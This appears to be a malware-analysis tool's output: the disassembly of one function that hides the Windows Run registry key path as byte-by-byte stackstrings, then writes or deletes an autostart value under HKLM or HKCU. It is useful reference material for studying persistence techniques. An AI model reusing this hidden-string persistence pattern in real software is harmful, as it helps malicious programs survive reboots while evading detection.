Function at 0x405063
Capabilities:
Contain obfuscated stackstrings
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a4
push ebx
push esi
and byte [ebp - 0xdb], 0
push edi
push dword [ebp + 0xc]
lea eax, [ebp - 0x3a4]
mov ebx, ecx
mov byte [ebp - 0x108], 0x73
push str._s.dll
push eax
mov byte [ebp - 0x107], 0x6f
mov byte [ebp - 0x106], 0x66
mov byte [ebp - 0x105], 0x74
mov byte [ebp - 0x104], 0x77
mov byte [ebp - 0x103], 0x61
mov byte [ebp - 0x102], 0x72
mov byte [ebp - 0x101], 0x65
mov byte [ebp - 0x100], 0x5c
mov byte [ebp - 0xff], 0x6d
mov byte [ebp - 0xfe], 0x69
mov byte [ebp - 0xfd], 0x63
mov byte [ebp - 0xfc], 0x72
mov byte [ebp - 0xfb], 0x6f
mov byte [ebp - 0xfa], 0x73
mov byte [ebp - 0xf9], 0x6f
mov byte [ebp - 0xf8], 0x66
mov byte [ebp - 0xf7], 0x74
mov byte [ebp - 0xf6], 0x5c
mov byte [ebp - 0xf5], 0x77
mov byte [ebp - 0xf4], 0x69
mov byte [ebp - 0xf3], 0x6e
mov byte [ebp - 0xf2], 0x64
mov byte [ebp - 0xf1], 0x6f
mov byte [ebp - 0xf0], 0x77
mov byte [ebp - 0xef], 0x73
mov byte [ebp - 0xee], 0x5c
mov byte [ebp - 0xed], 0x63
mov byte [ebp - 0xec], 0x75
mov byte [ebp - 0xeb], 0x72
mov byte [ebp - 0xea], 0x72
mov byte [ebp - 0xe9], 0x65
mov byte [ebp - 0xe8], 0x6e
mov byte [ebp - 0xe7], 0x74
mov byte [ebp - 0xe6], 0x76
mov byte [ebp - 0xe5], 0x65
mov byte [ebp - 0xe4], 0x72
mov byte [ebp - 0xe3], 0x73
mov byte [ebp - 0xe2], 0x69
mov byte [ebp - 0xe1], 0x6f
mov byte [ebp - 0xe0], 0x6e
mov byte [ebp - 0xdf], 0x5c
mov byte [ebp - 0xde], 0x72
mov byte [ebp - 0xdd], 0x75
mov byte [ebp - 0xdc], 0x6e
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea eax, [ebp - 0x3a4]
mov ecx, ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call fcn.00404bf7
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0x2a0], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
mov esi, 0x20006
mov edi, 0x80000002
je 0x40527f
xor eax, eax
cmp dword [ebp - 0x290], 1
sete al
test eax, eax
je 0x40527f
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
and byte [ebp - 0x1d7], 0
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x20c]
push esi
push eax
push edi
mov ecx, ebx
mov byte [ebp - 0x1df], 0x73
mov byte [ebp - 0x1de], 0x65
mov byte [ebp - 0x1dd], 0x72
mov byte [ebp - 0x1dc], 0x76
mov byte [ebp - 0x1db], 0x69
mov byte [ebp - 0x1da], 0x63
mov byte [ebp - 0x1d9], 0x65
mov byte [ebp - 0x1d8], 0x73
call fcn.004052fa
test eax, eax
je 0x4052b5
lea eax, [ebp - 4]
mov ecx, ebx
push eax
lea eax, [ebp - 0x108]
push esi
push eax
push edi
call fcn.004052fa
test eax, eax
je 0x4052b5
lea eax, [ebp - 4]
mov ecx, ebx
push eax
lea eax, [ebp - 0x108]
push esi
push eax
push 0x80000001
call fcn.004052fa
mov esi, eax
test esi, esi
jne 0x4052e8
cmp dword [ebp + 0x10], 0
jne 0x4052c9
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x4052e6
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 8]
push 1
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 0xc